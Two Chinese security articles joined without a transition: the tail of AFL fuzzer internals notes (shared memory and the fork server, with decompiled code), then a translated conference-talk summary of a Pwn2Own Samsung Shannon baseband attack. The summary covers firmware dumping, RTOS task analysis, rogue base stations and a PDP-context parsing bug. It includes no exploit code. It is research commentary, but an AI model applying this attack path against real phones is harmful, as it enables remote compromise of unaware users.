* 如果结果不是`FAULT_TMOUT`，就返回keeping，否则就使`unique_hangs`计数器加一，然后更新last_hang_time的值，并保存到`alloc_printf("%s/hangs/id:%06llu,%s", out_dir, unique_hangs, describe_op(0))`文件。
* FAULT_CRASH
* total_crashes计数器加一
* 如果unique_crashes大于能保存的最大数量`KEEP_UNIQUE_CRASH`即5000，就直接返回keeping的值
* 同理，如果不是dumb mode，就`simplify_trace((u64 *) trace_bits)`进行规整
* 如果没有发现新的crash路径，就直接返回keeping
* 否则，代表发现了新的crash路径，unique_crashes计数器加一，并将结果保存到`alloc_printf("%s/crashes/id:%06llu,sig:%02u,%s", out_dir,unique_crashes, kill_signal, describe_op(0))`文件。
* 更新last_crash_time和last_crash_execs
* FAULT_ERROR
* 抛出异常
* 对于其他情况，直接返回keeping
#### simplify_trace(u64 *mem)
* 按8个字节为一组循环读入，直到完全读取完mem
* 如果mem不为空
* i从0-7，`mem8[i] = simplify_lookup[mem8[i]]`，代表规整该路径的命中次数到指令值，这个路径如果没有命中，就设置为1，如果命中了，就设置为128，即二进制的`1000 0000`
* 否则设置mem为`0x0101010101010101ULL`，即代表这8个字节代表的path都没有命中，每个字节的值被置为1。
static const u8 simplify_lookup[256] = {
[0] = 1,
[1 ... 255] = 128
};
## 通信和覆盖率信息的记录
### 关键变量和常量
.bss:000000000060208F unk_60208F db ? ; ; DATA XREF: deregister_tm_clones↑o
.bss:0000000000602090 __afl_area_ptr dq ? ; DATA XREF: __afl_maybe_log+4↑r
.bss:0000000000602090 ; __afl_maybe_log+48↑w ...
.bss:0000000000602098 __afl_prev_loc dq ? ; DATA XREF: __afl_maybe_log:__afl_store↑r
.bss:0000000000602098 ; __afl_maybe_log+17↑w ...
.bss:00000000006020A0 ; __pid_t _afl_fork_pid
.bss:00000000006020A0 __afl_fork_pid dd ? ; DATA XREF: __afl_maybe_log+1C6↑w
.bss:00000000006020A0 ; __afl_maybe_log+1D3↑o ...
.bss:00000000006020A4 ; int _afl_temp
.bss:00000000006020A4 __afl_temp dd ? ; DATA XREF: __afl_maybe_log+174↑o
.bss:00000000006020A4 ; __afl_maybe_log+198↑o ...
.bss:00000000006020A8 __afl_setup_failure db ? ; DATA XREF: __afl_maybe_log:__afl_setup↑r
.bss:00000000006020A8 ; __afl_maybe_log:__afl_setup_abort↑w
...
.text:0000000000400DEF ; char AFL_SHM_ENV[]
.text:0000000000400DEF _AFL_SHM_ENV db '__AFL_SHM_ID',0 ; DATA XREF: __afl_maybe_log+11F↑o
.text:0000000000400DEF ; Alternative name is '.AFL_VARS'
* __afl_area_ptr
* 存储共享内存的首地址
* __afl_prev_loc
* 存储上一个位置，即上一次R(MAP_SIZE)生成的随机数的值
* __afl_fork_pid
* 存储fork出来的子进程的pid
* __afl_temp
* 临时buffer
* _AFL_SHM_ENV
* 申请的共享内存的shm_id被设置为环境变量`__AFL_SHM_ID`的值，所以通过这个环境变量来获取shm_id，然后进一步得到共享内存。
### trampoline_fmt_64
.text:00000000004009C0 lea rsp, [rsp-98h]
.text:00000000004009C8 mov [rsp+98h+var_98], rdx
.text:00000000004009CC mov [rsp+98h+var_90], rcx
.text:00000000004009D1 mov [rsp+98h+var_88], rax
.text:00000000004009D6 mov rcx, 2359h---->R(MAP_SIZE)
.text:00000000004009DD call __afl_maybe_log
.text:00000000004009E2 mov rax, [rsp+98h+var_88]
.text:00000000004009E7 mov rcx, [rsp+98h+var_90]
.text:00000000004009EC mov rdx, [rsp+98h+var_98]
.text:00000000004009F0 lea rsp, [rsp+98h]
插入的trampoline_fmt_64只有在`mov rcx,
xxx`这里不同，其xxx的取值就是随机数R(MAP_SIZE),以此来标识与区分每个分支点，然后传入`__afl_maybe_log`作为第二个参数调用这个函数。
### __afl_maybe_log
直接看汇编，还是很好理解的
* 首先检查`_afl_area_ptr`是否为0，即是否共享内存已经被设置了。 **换句话说，只有第一个__afl_maybe_log会执行这个if里的代码**
* 如果`_afl_area_ptr`为0，即共享内存还没被设置，则判断`_afl_setup_failure`是否为真，如果为真，则代表setup失败，直接返回。
* 读取`_afl_global_area_ptr`的值
* 如果不为0，则赋值给`_afl_area_ptr`
* 否则
* 首先读取环境变量`__AFL_SHM_ID`，默认是个字符串，atoi转一下，得到shm_id，然后通过shmat启动对该共享内存的访问，并把共享内存连接到当前进程的地址空间，将得到的地址，保存到`_afl_area_ptr`和`_afl_global_area_ptr`中。
* 然后通过`FORKSRV_FD+1`即199这个文件描述符，向状态管道中写入4个字节的值，用来告知afl fuzz，fork server成功启动，等待下一步指示。
* 进入`__afl_fork_wait_loop`循环，从`FORKSRV`即198中读取字节到`_afl_temp`，直到读取到4个字节，这代表afl fuzz命令我们新建进程执行一次测试。
* fork出子进程，原来的父进程充当fork server来和fuzz进行通信，而子进程则继续执行target。
* 父进程即fork server将子进程的pid写入到状态管道，告知fuzz。
* 然后父进程即fork server等待子进程结束，并保存其执行结果到`_afl_temp`中，然后将子进程的执行结果，从`_afl_temp`写入到状态管道，告知fuzz。
* 父进程不断轮询`__afl_fork_wait_loop`循环，不断从控制管道读取，直到fuzz端命令fork server进行新一轮测试。
* 如果`_afl_area_ptr`不为0，即共享内存已经被设置好了。那么就跳过上面的if，只执行`__afl_store`逻辑，伪代码如下:
* 简单的说，就是将上一个桩点的值(prev_location)和当前桩点的值(`R(MAP_SIZE)`)异或，取值后，使得 **共享内存里对应的槽** 的值加一，然后将prev_location设置为`cur_location >> 1;`
* 因此，AFL为每个代码块生成一个随机数，作为其“位置”的记录；随后，对分支处的”源位置“和”目标位置“进行异或，并将异或的结果作为该分支的key，保存每个分支的执行次数。用于保存执行次数的实际上是一个哈希表，大小为MAP_SIZE=64K，当然会存在碰撞的问题；但根据AFL文档中的介绍，对于不是很复杂的目标，碰撞概率还是可以接受的。
cur_location = <COMPILE_TIME_RANDOM>;
shared_mem[cur_location ^ prev_location]++;
prev_location = cur_location >> 1;
* 另外，比较有意思的是，AFL需要将cur_location右移1位后，再保存到prev_location中。官方文档中解释了这样做的原因。假设target中存在A->A和B->B这样两个跳转，如果不右移，那么这两个分支对应的异或后的key都是0，从而无法区分；另一个例子是A->B和B->A，如果不右移，这两个分支对应的异或后的key也是相同的。
char __usercall _afl_maybe_log@<al>(char a1@<of>, __int64 a2@<rcx>, __int64 a3@<xmm0>, __int64 a4@<xmm1>, __int64 a5@<xmm2>, __int64 a6@<xmm3>, __int64 a7@<xmm4>, __int64 a8@<xmm5>, __int64 a9@<xmm6>, __int64 a10@<xmm7>, __int64 a11@<xmm8>, __int64 a12@<xmm9>, __int64 a13@<xmm10>, __int64 a14@<xmm11>, __int64 a15@<xmm12>, __int64 a16@<xmm13>, __int64 a17@<xmm14>, __int64 a18@<xmm15>)
{
...
v19 = _afl_area_ptr;
if ( !_afl_area_ptr )
{
if ( _afl_setup_failure )
return v18 + 127;
v19 = _afl_global_area_ptr;
if ( _afl_global_area_ptr )
{
_afl_area_ptr = _afl_global_area_ptr;
}
else
{
...
v22 = getenv("__AFL_SHM_ID");
if ( !v22 || (v23 = atoi(v22), v24 = shmat(v23, 0LL, 0), v24 == (void *)-1LL) )
{
++_afl_setup_failure;
v18 = v29;
return v18 + 127;
}
_afl_area_ptr = (__int64)v24;
_afl_global_area_ptr = v24;
v28 = (__int64)v24;
if (write(199, &_afl_temp, 4uLL) == 4 )
{
while ( 1 )
{
v25 = 198;
if (read(198, &_afl_temp, 4uLL) != 4 )
break;
LODWORD(v26) = fork();
if ( v26 < 0 )
break;
if ( !v26 )
goto __afl_fork_resume;
_afl_fork_pid = v26;
write(199, &_afl_fork_pid, 4uLL);
v25 = _afl_fork_pid;
LODWORD(v27) = waitpid(_afl_fork_pid, &_afl_temp, 0);
if ( v27 <= 0 )
break;
write(199, &_afl_temp, 4uLL);
}
_exit(v25);
}
__afl_fork_resume:
close(198);
close(199);
v19 = v28;
v18 = v29;
a2 = v30;
}
}
v20 = _afl_prev_loc ^ a2;
_afl_prev_loc ^= v20;
_afl_prev_loc = (unsigned __int64)_afl_prev_loc >> 1;
++*(_BYTE *)(v19 + v20);
return v18 + 127;
}
## 其他
* strrchr
* `char *strrchr(const char *str, int c)` 在参数 str 所指向的字符串中搜索最后一次出现字符 c（一个无符号字符）的位置。
* strlen
* `unsigned int strlen (char *s)` 用来计算指定的字符串s的长度，不包括结束字符”\0”。
* 注意：strlen() 函数计算的是字符串的实际长度，遇到第一个’\0’结束。如果你只定义没有给它赋初值，这个结果是不定的，它会从首地址一直找下去，直到遇到’\0’停止。而sizeof返回的是变量声明后所占的内存数，不是实际长度，此外sizeof不是函数，仅仅是一个操作符，strlen()是函数。
* DFL_ck_strdup
* Create a buffer with a copy of a string. Returns NULL for NULL inputs.
* `size = strlen((char*)str) + 1;`
ALLOC_MAGIC_C1-> 00 ff 00 ff size-> 2e 00 00 00 ret-> 2f 55 73 65 72 73 2f 73 │ ····.···/Users/s │
61 6b 75 72 61 2f 67 69 74 73 6f 75 72 63 65 2f │ akura/gitsource/ │
41 46 4c 2f 63 6d 61 6b 65 2d 62 75 69 6c 64 2d │ AFL/cmake-build- │
64 65 62 75 67 00 ALLOC_MAGIC_C2-> f0 00 00 00 00 00 00 00 00 00 │ debug··········· │
* snprintf()
* `int snprintf(char *str, int n, char * format [, argument, ...]);`函数用于将格式化的数据写入字符串
* str为要写入的字符串；n为要写入的字符的最大数目，超过n会被截断；format为格式化字符串，与printf()函数相同；argument为变量。
* <http://brg-liuwei.github.io/tech/2014/09/29/snprintf.html>
* 重点理解snprintf函数的返回值，不是实际打印出来的长度，而是实际应该打印的长度。
* <https://forcemz.net/cxx/2019/04/29/StringFormattingTalk/>
* snprintf的可能的一种实现，及其可能存在的安全问题。
* DFL_ck_alloc
* Allocate a buffer, returning zeroed memory.
* DFL_ck_alloc_nozero
00 ff 00 ff 35 00 00 00 00 00 00 00 00 00 00 00 │ ····5··········· │
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ················ │
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ················ │
00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 │ ················ │
* alloc_printf
* User-facing macro to sprintf() to a dynamically allocated buffer
* ck_alloc:分配内存
* snprintf:写入格式化字符串
00 ff 00 ff 35 00 00 00 2f 55 73 65 72 73 2f 73 │ ····5···/Users/s │
61 6b 75 72 61 2f 67 69 74 73 6f 75 72 63 65 2f │ akura/gitsource/ │
41 46 4c 2f 63 6d 61 6b 65 2d 62 75 69 6c 64 2d │ AFL/cmake-build- │
64 65 62 75 67 2f 61 66 6c 2d 61 73 00 f0 00 00 │ debug/afl-as···· │
* access
* `int access(const char * pathname, int mode)` 检查调用进程是否可以对指定的文件执行某种操作。
* 成功执行时，返回0。失败返回-1，errno被设为以下的某个值
* strncmp
* `int strncmp ( const char * str1, const char * str2, size_t n );`若str1与str2的前n个字符相同，则返回0；若s1大于s2，则返回大于0的值；若s1 若小于s2，则返回小于0的值。
* strcmp
* `int strcmp(const char *s1, const char *s2);`若参数s1 和s2 字符串相同则返回0。s1 若大于s2 则返回大于0 的值。s1 若小于s2 则返回小于0 的值。
* strstr
* `char *strstr(const char *haystack, const char *needle)`在字符串 haystack 中查找第一次出现字符串 needle 的位置，不包含终止符 ‘\0’。
* 返回该函数返回在 haystack 中第一次出现 needle 字符串的位置，如果未找到则返回 null。
* gettimeofday
* `int gettimeofday(struct timeval *tv, struct timezone *tz)`gettimeofday()会把目前的时间用tv结构体返回，当地时区的信息则放到tz所指的结构中。
* timeval
_STRUCT_TIMEVAL
{
__darwin_time_t tv_sec; /* seconds */
__darwin_suseconds_t tv_usec; /* and microseconds */
};
* srandom
* 设置随机种子，注意只需要设置一次即可
* 1、生产随机数需要种子（Seed），且如果种子固定，random()每次运行生成的随机数（其实是伪随机数）也是固定的；因为返回的随机数是根据稳定的算法得出的稳定结果序列，并且Seed就是这个算法开始计算的第一个值。
* 2、srandom()可以设定种子，比如srandom(0) 、srandom(1)等等。如果srandom设定了一个固定的种子，那么random得出的随机数就是固定的；
如果程序运行时通过srandom(time(NULL))设定种子为随机的，那么random()每次生成的随机数就是非固定的了。
* open
* [open函数的简要介绍](http://c.biancheng.net/cpp/html/238.html)
* [open函数返回值](https://blog.csdn.net/csdn66_2016/article/details/77716008)
* 调用成功时返回一个文件描述符fd，调用失败时返回-1，并修改errno
* fdopen
* `FILE * fdopen(int fildes, const char * mode);`fdopen()会将参数fildes 的文件描述词, 转换为对应的文件指针后返回.
* 参数mode 字符串则代表着文件指针的流形态, 此形态必须和原先文件描述词读写模式相同. 关于mode字符串格式请参考fopen().
* 返回值：转换成功时返回指向该流的文件指针. 失败则返回NULL, 并把错误代码存在errno中.
* fgets
* `char *fgets(char *str, int size, FILE *stream)`从指定的流 stream 读取一行，并把它存储在 str 所指向的字符串内。当读取 (size-1) 个字符时，或者读取到换行符时，或者到达文件末尾时，它会停止，具体视情况而定。
* string为一个字符数组，用来保存读取到的字符。
* size为要读取的字符的个数。如果该行字符数大于size-1，则读到size-1个字符时结束，并在最后补充’\0’；如果该行字符数小于等于size-1，则读取所有字符，并在最后补充’\0’。即，每次最多读取size-1个字符。
* stream为文件流指针。
-【返回值】读取成功，返回读取到的字符串，即string；失败或读到文件结尾返回NULL。因此我们不能直接通过fgets()的返回值来判断函数是否是出错而终止的，应该借助feof()函数或者ferror()函数来判断。
* fopen
* `FILE * fopen(const char * path, const char * mode);`打开一个文件并返回文件指针
* [fopen参数详解](http://c.biancheng.net/cpp/html/250.html)
* atexit
* `int atexit (void (*function) (void));`atexit()用来设置一个程序正常结束前调用的函数. 当程序通过调用exit()或从main中返回时, 参数function所指定的函数会先被调用, 然后才真正由exit()结束程序.
* 如果执行成功则返回0, 否则返回-1, 失败原因存于errno 中.
* mkdir
* `int mkdir(const char *pathname, mode_t mode);`mkdir()函数以mode方式创建一个以pathname为名字的目录，mode定义所创建目录的权限
* 返回值: 0:目录创建成功 -1:创建失败
* flock
* `int flock(int fd,int operation);`flock()会依参数operation所指定的方式对参数fd所指的文件做各种锁定或解除锁定的动作。此函数只能锁定整个文件，无法锁定文件的某一区域。
* LOCK_SH 建立共享锁定。多个进程可同时对同一个文件作共享锁定。
* LOCK_EX 建立互斥锁定。一个文件同时只有一个互斥锁定。
* LOCK_UN 解除文件锁定状态。
* LOCK_NB 无法建立锁定时，此操作可不被阻断，马上返回进程。通常与LOCK_SH或LOCK_EX 做OR(|)组合。
* 单一文件无法同时建立共享锁定和互斥锁定，而当使用dup()或fork()时文件描述词不会继承此种锁定。
* 返回值 返回0表示成功，若有错误则返回-1，错误代码存于errno。
* scandir
* `int scandir(const char *dir,struct dirent **namelist,int (*filter)(const void *b),int ( * compare )( const struct dirent **, const struct dirent ** ) );`
* `int alphasort(const void *a, const void *b);`
* `int versionsort(const void *a, const void *b);`
* 函数scandir扫描dir目录下(不包括子目录)满足filter过滤模式的文件，返回的结果是compare函数经过排序的，并保存在namelist中。注意namelist的元素是通过malloc动态分配内存的,所以在使用时要注意释放内存。alphasort和versionsort是使用到的两种排序的函数。
* 当函数成功执行时返回找到匹配模式文件的个数，如果失败将返回-1。
* lstat
* `int lstat (const char * file_name, struct stat * buf);`
* 函数说明：lstat()与stat()作用完全相同, 都是取得参数file_name 所指的文件状态, 其差别在于, 当文件为符号连接时, lstat()会返回该link 本身的状态. 详细内容请参考stat().
* 返回值：执行成功则返回0, 失败返回-1, 错误代码存于errno.
* read
* `size_t read(int fd, void * buf, size_t count);`read()会把参数fd所指的文件传送count个字节到buf指针所指的内存中. 若参数count为0, 则read()不会有作用并返回0.
* 返回值为实际读取到的字节数, 如果返回0, 表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动.
* 如果顺利,read()会返回实际读到的字节数, 最好能将返回值与参数count作比较, 若返回的字节数比要求读取的字节数少, 则有可能读到了文件尾
* 当有错误发生时则返回-1, 错误代码存入errno中, 而文件读写位置则无法预期.
* sscanf
* `int sscanf(const char *str, const char *format, ...)`从字符串读取格式化输入。
* 如果成功，该函数返回成功匹配和赋值的个数。如果到达文件末尾或发生读错误，则返回EOF。
* 例子
strcpy( dtm, "Saturday March 25 1989" );
sscanf( dtm, "%s %s %d %d", weekday, month, &day, &year );
printf("%s %d, %d = %s\n", month, day, year, weekday )
...
March 25, 1989 = Saturday
* link
* `int link (const char * oldpath, const char * newpath);`
* link()以参数newpath指定的名称来建立一个新的连接(硬连接)到参数oldpath所指定的已存在文件. 如果参数newpath指定的名称为一已存在的文件则不会建立连接.
* 返回值：成功则返回0, 失败返回-1, 错误原因存于errno.
* rmdir
* `int rmdir(const char *pathname);`rmdir函数用于删除一个空目录。
* getcwd
* `char * getcwd(char * buf, size_t size);`getcwd()会将当前的工作目录绝对路径复制到参数buf所指的内存空间，参数size为buf的空间大小。
* unlink
* `int unlink(const char * pathname)`unlink()会删除参数pathname 指定的文件. 如果该文件名为最后连接点, 但有其他进程打开了此文件, 则在所有关于此文件的文件描述词皆关闭后才会删除. 如果参数pathname 为一符号连接, 则此连接会被删除。
* pipe
* `int pipe(int fd[2])`创建一个简单的管道，若成功则为数组fd分配两个文件描述符，其中fd[0]用于读取管道，fd[1]用于写入管道
* 若成功则返回零，否则返回-1，错误原因存于errno中。
* 管道，顾名思义，当我们希望将两个进程的数据连接起来的时候就可以使用它，从而将一个进程的输出数据作为另一个进程的输入数据达到通信交流的目的
* setsid
* 子进程从父进程继承了：SessionID、进程组ID和打开的终端。子进程如果要脱离这些，代码中可通过调用setsid来实现。而命令行或脚本中可以通过使用命令setsid来运行程序实现。setsid帮助一个进程脱离从父进程继承而来的已打开的终端、隶属进程组和隶属的会话。
* dup2
* `int dup2(int oldfd,int newfd);`
* 复制一个现存的文件描述符。当调用dup函数时，内核在进程中创建一个新的文件描述符，此描述符是当前可用文件描述符的最小数值，这个文件描述符指向oldfd所拥有的文件表项。dup2和dup的区别就是可以用newfd参数指定新描述符的数值，如果newfd已经打开，则先将其关闭。如果newfd等于oldfd，则dup2返回newfd, 而不关闭它。
* dup2函数返回的新文件描述符同样与参数oldfd共享同一文件表项。
* waitpid
* `pid_t waitpid(pid_t pid, int * status, int options);`waitpid()会暂时停止目前进程的执行, 直到有信号来到或子进程结束. 如果在调用wait()时子进程已经结束, 则wait()会立即返回子进程结束状态值. 子进程的结束状态值会由参数status返回, 而子进程的进程识别码也会一块返回. 如果不在意结束状态值, 则参数status可以设成NULL. 参数pid为欲等待的子进程识别码。
* 返回值：如果执行成功则返回子进程识别码(PID), 如果有错误发生则返回-1. 失败原因存于errno中.
* setitimer
* [linux几种定时函数的使用](https://www.cnblogs.com/fnlingnzb-learner/p/5984844.html)
* mmap
* `void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)`
该函数主要用途有三个：
* 将普通文件映射到内存中，通常在需要对文件进行频繁读写时使用，用内存读写取代I/O读写，以获得较高的性能；
* addr
* 指向欲映射的内存起始地址，通常设为NULL，代表让系统自动选定地址，映射成功后返回该地址。
* length
* 代表将文件中多大的部分映射到内存。
* prot
* PROT_EXEC 映射区域可被执行
* PROT_READ 映射区域可被读取
* PROT_WRITE 映射区域可被写入
* PROT_NONE 映射区域不能存取
* sprintf
* `int sprintf(char *string, char *format [,argument,...]);`
* 把格式化的数据写入某个字符串中，即发送格式化输出到string所指向的字符串
* ftruncate
* `int ftruncate(int fd, off_t length)` ftruncate()会将参数fd指定的文件大小改为参数length指定的大小。参数fd为已打开的文件描述词，而且必须是以写入模式打开的文件。如果原来的文件件大小比参数length大，则超过的部分会被删去
* lseek
* `off_t lseek(int fildes, off_t offset, int whence);`每一个已打开的文件都有一个读写位置, 当打开文件时通常其读写位置是指向文件开头, 若是以附加的方式打开文件(如O_APPEND), 则读写位置会指向文件尾. 当read()或write()时, 读写位置会随之增加,lseek()便是用来控制该文件的读写位置. 参数fildes 为已打开的文件描述词, 参数offset 为根据参数whence来移动读写位置的位移数.
* 参数 whence 为下列其中一种:
* SEEK_SET 参数offset 即为新的读写位置.
* SEEK_CUR 以目前的读写位置往后增加offset 个位移量.
* SEEK_END 将读写位置指向文件尾后再增加offset 个位移量. 当whence 值为SEEK_CUR 或
* SEEK_END 时, 参数offet 允许负值的出现.
* 下列是特别的使用方式:
1) 欲将读写位置移到文件开头时:lseek(int fildes, 0, SEEK_SET);
2) 欲将读写位置移到文件尾时:lseek(int fildes, 0, SEEK_END);
3) 想要取得目前文件位置时:lseek(int fildes, 0, SEEK_CUR);
* 返回值：当调用成功时则返回目前的读写位置, 也就是距离文件开头多少个字节. 若有错误则返回-1, errno 会存放错误代码.
* readdir
readdir()返回参数dir 目录流的下个目录进入点
#include <sys/types.h>
#include <dirent.h>
#include <unistd.h>
main()
{
DIR * dir;
struct dirent * ptr;
int i;
dir = opendir("/etc/rc.d");
while((ptr = readdir(dir)) != NULL)
{
printf("d_name : %s\n", ptr->d_name);
}
closedir(dir);
}
执行：
d_name : .
d_name : ..
d_name : init.d
d_name : rc0.d
d_name : rc1.d
d_name : rc2.d
d_name : rc3.d
d_name : rc4.d
d_name : rc5.d
d_name : rc6.d
d_name : rc
d_name : rc.local
d_name : rc.sysinit
## 参考资料
<https://forcemz.net/cxx/2019/04/29/StringFormattingTalk/>
<http://rk700.github.io/2017/12/28/afl-internals/>
<http://rk700.github.io/2018/01/04/afl-mutations/> | 社区文章 |
# MOSEC议题解读 | PWN2OWN shannon基带破解之旅
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、关于基带漏洞
基带漏洞最大的威胁是可以通过OTA(空中接口)利用，即通过发射加载漏洞利用代码的无线电波，从空中接口利用漏洞，在受害者无任何感知的情况下，远距离对受害者进行攻击。
如上图，自从第一个移动通信系统面世至今，移动通信系统经过近四十年发展，到现在通信标准已经迭代了五代，在一次次迭代过程中，安全问题尤其是来自于无线电波层面的空中接口威胁，已经引起了通信和安全专家们的极度关注。每一代移动通信标准制定时，专家们对协议都进行了非常严密的论证和验证工作。
针对于空中接口，从2G系统开始，引入加密，3G系统开始引入强制完整性保护，4G系统除了RRC完整性保护和加密之外，还引入了NAS层完整性保护和加密以及AS的加密，5G则额外引入了IMSI加密。
自从3G引入强制完整性保护之后，移动通信系统协议层面很少发现空口高危漏洞，纵观国际黑客会议，能从空口利用的影响4G用户的协议层面高危漏洞也就360独角兽安全团队发现的‘Ghost
Telephonist’漏洞[1]，LTE 重定向漏洞[3]，以及IMSI catcher。
因此在协议层面发现高危漏洞的可能性已经降低，然而协议本身由代码实现，这些代码又是由人工编写，难免存在疏漏的可能，因此在空口层面的高危漏洞主要存在于基带实现过程中。对于移动终端而言，每个人都可以获取到基带的二进制固件代码进行分析，近年来也成为安全研究的热点。
## 二、手机处理器架构
手机终端发展至今，已经由早期的功能机的单处理器架构（基带协议栈与应用程序共用一个处理器），发展为现在智能手机的modem+ap结构，某些高级终端SOC甚至包含十几个处理器，分别作为modem，音频，视频，传感器等用途。而对于Amat破解的shannon处理器，则可以简单的看成是CP(modem)
+ AP 结构。
如图所示，在shannon处理器中，CP部分由一个Cortex-R7 ARM 核构成，AP部分则可能是Cortex-A53, Cortex-A72等，CP
和 AP 共用RAM。
对于安全研究员而言，CP使用ARM 处理器是一个好消息，意味着可以使用IDA Pro强大的F5功能，不至于像逆向高通modem一样，要和头痛的Hexagon
DSP 指令集打交道。
## 三、攻击路径
根据PWN2OWN的规则，攻击路径需要满足从空口攻破CP， 再以CP为跳板，攻破AP。
## 四、固件提取
虽然Shannon基带固件在可以在三星手机firmware中找到，但升级包中的固件是加密的，Amat
Cama挖掘shannon基带漏洞的目的主要是满足pwn2own的要求，即找到能从OTA远程利用的基带漏洞，因此，在这里，Amat没有去挑战如何解密基带固件，而是想办法直奔主题，通过ramdump将已经解密的基带固件从内存中直接dump出来，具体流程如下。
在拨号盘上输入*#9900#调出工程模式的SYSDUMP菜单
选中 ‘DEBUG LEVEL ENABLED’按钮，将debug level设定为’HIGH’,之后手机将重新启动。
手机启动后，在拨号盘键入‘*#9900#’重新调出SYSDUM菜单，将’ CP RAM LOGGING‘设定为ON，手机将会再次重启。
手机启动后，调出SYSDUMP菜单，下滑找到‘RUN FORCED CP CRASH DUMP‘，并点击，手机将再次重启，并进入RAM加载模式。
同时按住POWER键和VOLUME DOWN键超过10秒将手机关闭并再次开机，开始dump过程。
重新打开SYSDUMP菜单，并点击‘COPY TO SDCARD(INCLUDE CP
RAMDUMP)‘按钮，将dump文件拷贝到SDCARD。这时在/sdcard/log下将有一个名为‘pcrash_dump_YYYYMMDD_HHSS.log’的文件。
## 五、固件分析
Dump文件是并不包含elf文件格式的定位加载信息，因此在利用IDA 加载dump文件逆向分析之前，还需要分析dump文件的内存映射信息。
Shannon modem上电及ramdump由CP BOOT DAEMON(/sbin/cbd)
负责，而modem加密固件的开始部分还有一个modem的boot loader。
分析cbd及modem的boot代码可以得知dump文件偏移与虚拟地址的对应关系，下图的表格是另一篇破解shannon基带的议题分析的映射关系[2]，由于基带版本号的关系，可能与pwn2own
Amat分析的偏移不一样，笔者手里也没有相应型号的手机，此处没有验证。
有这个映射信息，可以编写一个IDA 加载器来加载这个ramdump文件。
## 六、分析TASKs
Samsung的shannon 基带处理器上运行有一个实时操作系统(RTOS), 首先我们需要在dump文件中定位到在RTOS上运行的这些TASKs。
我们知道CPU的入口是中断向量表，中断向量表位于固件的开始处，中断向量表里有一系列的终端向量，其中也包含‘RESET
HANDLER’，这是处理器复位后开始执行的第一条指令所在，对RTOS固件的逆向分析通常会从RESET HANDLER入手。
在其中定位到一个链表，该链表中包含有所有各个task的信息，其中包括task名称，以及dump相应task的堆栈布局。通过一个脚本可以将这些task
信息提取出来。
其中一些task的名称很友好，可以从中猜出该task的功能，而另外一些task 命名则很有误导性。下面是Amat分析的一些Task名称。
MM (Mobility Management (移动性管理)?)
LLC(Logic Link Control(逻辑链路控制) ？)
SMS_SAP
GRR
SS
SAEL3
SNDCP
CC (Call Control ?)
SM (Session Management ?)
…
不同的task对应了协议栈中不同的分层
在实时操作系统中，Task之间的通信机制很多，在shannon处理器的RTOS中使用的是信箱机制(Mail box)，具体机制可以去翻翻《操作系统原理》。
如下图所示，每个Task的流程大致如此，检查Mailbox中是否有自己的消息，处理消息，必要时还需要向其他Task发送消息，很多个Task协同完成整个基带协议栈的功能。
后面的工作，就是挑选一个Task开始逆向分析，task实现代码中包含很多有用信息。
## 七、漏洞挖掘及利用
### 7.1 环境搭建
对基带漏洞进行利用，需要满足可以从OTA(即通信中的空中接口)发送特定数据给手机基带的目的，这就要搭建一个自己完全控制的蜂窝网络，可以通过软件无线电实现，网络端的协议栈可以运行在电脑上，SDR硬件则工作在相应频率作为收发器使用。
关于基站的搭建过程，Amat也没有详细阐述，不过可以参考独角兽安全团队的著作《无线电安全攻防大揭秘》。
### 7.2 调试基带
由于每一次modem
crash都可以得到一个ramdump文件，并且dump文件中包含有每一crash时的寄存器状态上下文，这会对逆向分析很有用。可以写一个脚本去分析这些dump文件获取一些有效信息，包括寄存器状态，内存信息等等。这些不同场景的dump文件，其实可以达到类似于调试器的效果。
### 7.3 深入分析
Layer 3的信令按照一种称为Information Elements的风格组织，具体有三种，V,LV,TLV,分别代表value, length +
value, tag + length + value. 每条信令都可能包含一个或者多个V, LV, TLV
的区段，3GPP标准中有这些区段的定义，阅读相关的定义，并通过对task代码进行逆向分析，找到处理这些区段的代码。一些漏洞在这个过程中会被发现。
这里举一个例子, CC task 看起来是处理 呼叫控制( call control)的代码，呼叫控制（Call control）负责 GSM
协议中呼叫连接管理。
下面这个表格中是Call control的不同的信令消息。
下面是Call control各区段的定义。
如果想熟悉一下call
control信令，也可以搭个osmocomBB，将mobile功能跑起来，用wireshark抓一下信令，具体请参阅《无线电安全攻防大揭秘》，下图是我抓的一个电话呼叫信令。
通过逆向分析CC
task发现了一些漏洞，但是根据Amat参加几次pwn2own的经验历，这类漏洞对于pwn2own而言，基本毫无用处。而且简单漏洞，在比赛中撞洞的风险很大，因此需要更深入的分析以便找到更复杂的漏洞。
### 7.4 Pwn2own漏洞
Amat决定分析更为复杂的GPRS，开始阅读GPRS标准并分析GPRS的会话管理相关信令。下图是GPRS信令协议分层。
通过对标准的阅读，发现‘ACTIVATE PDP CONTEXT ACCEPT‘这条信令比较复杂，看起来很适合深入分析，下图是该信令各区段的详细定义
Amat通过对SM task的逆向，找到了处理这些信令的代码，其中也包括‘ACTIVATE PDP CONTEXT ACCEPT ‘信令。
在这里PDP 指的是‘Packet Data Protocol‘， GPRS 建立连接时，终端会发送’ ACTIVATE PDP CONTEXT
’信令，如果基站允许，则会回复’ACTIVATE PDP CONTEXT ACCEPT’。
下面代码片断是处理’Protocol configuration options’的，后面后详细说明（不要吃惊，这是从IDA
中逆向分析而来，F5反编译转化为C代码，其中有Amat做的注释和函数名还原）。
’Protocol configuration options’的功能包括：
发送与PDP上下文激活关联的外部网络协议选项，以及发送与外部协议或应用程序相关联的附加（协议）数据（例如配置参数，错误代码或消息/事件等）。
代码片段处理的是 IPCP (Internet Protocol Control Protocol)， 具体内容如下
下面从前面逆向分析的代码中截取的片段
### 7.5 漏洞利用
设计的利用场景如下图，基站发送ACTIVE PDP CONTEXT ACCEPT给手机，从而触发漏洞，并利用漏洞。
然而理想很丰满，现实却很骨感，遇到的问题是手机仅仅在特定的状态下，即手机向基站发送’ ACTIVATE PDP CONTEXT
REQUEST’之后，才接收‘ACTIVE PDP CONTEXT ACCEPT’信令。
所以现在问题变为怎么让手机发送‘ACTIVATE PDP CONTEXT
REQUEST‘信令。当手机的APN设置中包含伪基站网络配置的信息时，手机会发送’ACTIVATE PDP CONTEXT
REQUEST‘信令，但这在pwn2own规则中是个问题，不允许人工介入操作。
